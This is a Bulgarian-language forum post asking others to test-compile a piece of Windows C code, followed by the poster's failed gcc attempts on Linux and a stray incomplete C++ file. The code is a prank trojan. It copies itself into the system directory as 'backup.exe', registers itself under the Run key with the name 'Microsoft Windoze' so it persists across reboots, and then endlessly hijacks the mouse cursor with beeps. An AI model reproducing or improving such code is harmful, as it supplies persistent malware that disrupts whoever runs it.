« -: Dec 08, 2010, 17:53 »
Може ли някой да пробва следния код дали ще се компилира без грешка
#include <windows.h>
#include <string>
#include <time.h>
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
char windir[MAX_PATH];
char cpathname[MAX_PATH];
char whatever[64] = "SoftwareMicrosoftWindowsCurrentVersionRun";
char something[32] = "Microsoft Windoze";
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
GetModuleFileName(hMe, cpathname, sizeof(cpathname));
strcat(windir, "system32backup.exe");
CopyFile(cpathname, windir, false);
HKEY hKey;
RegCreateKey(HKEY_LOCAL_MACHINE, whatever , &hKey);
RegSetValueEx(hKey, something, 0, REG_SZ , (LPBYTE)windir, sizeof(windir));
int screen_x, screen_y;
int direction_x = 10;
int direction_y = 10;
char ab="a"[1];
POINT cursor;
clock_t start;
screen_x = GetSystemMetrics(SM_CXSCREEN);
screen_y = GetSystemMetrics(SM_CYSCREEN);
while(ab=ab)
{
start = clock();
GetCursorPos(&cursor);
if(cursor.x == (screen_x - 1))
{
direction_x = -10;
Beep(500,25);
}
if(cursor.x < 2)
{
direction_x = 10;
Beep(500,25);
}
cursor.x = cursor.x + direction_x;
if(cursor.y == (screen_y - 1))
{
direction_y = -10;
Beep(750,25);
}
if(cursor.y < 1)
{
direction_y = 10;
Beep(750,25);
}
cursor.y = cursor.y + direction_y;
SetCursorPos(cursor.x,cursor.y);
while((clock() - start) < 10);
}
return 0;
}
roko__@Calculate64(16:49)( /media/storage-2/Други/тестове )# gcc laino.c
laino.c:1:21: error: windows.h: Няма такъв файл или директория
laino.c:2:18: error: string: Няма такъв файл или директория
laino.c:5: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’
roko__@Calculate64(16:49)( /media/storage-2/Други/тестове )#
============
roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )# gcc drisak.c
drisak.c:1:20: error: iostream: Няма такъв файл или директория
drisak.c:2: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘namespace’
drisak.c: In function ‘main’:
drisak.c:3: error: expected ‘{’ at end of input
roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )# cat drisak.c
#include <iostream>
using namespace std;
int main()
roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )#
Много ми е странно това първите 2 пъти нямаше проблем а после все така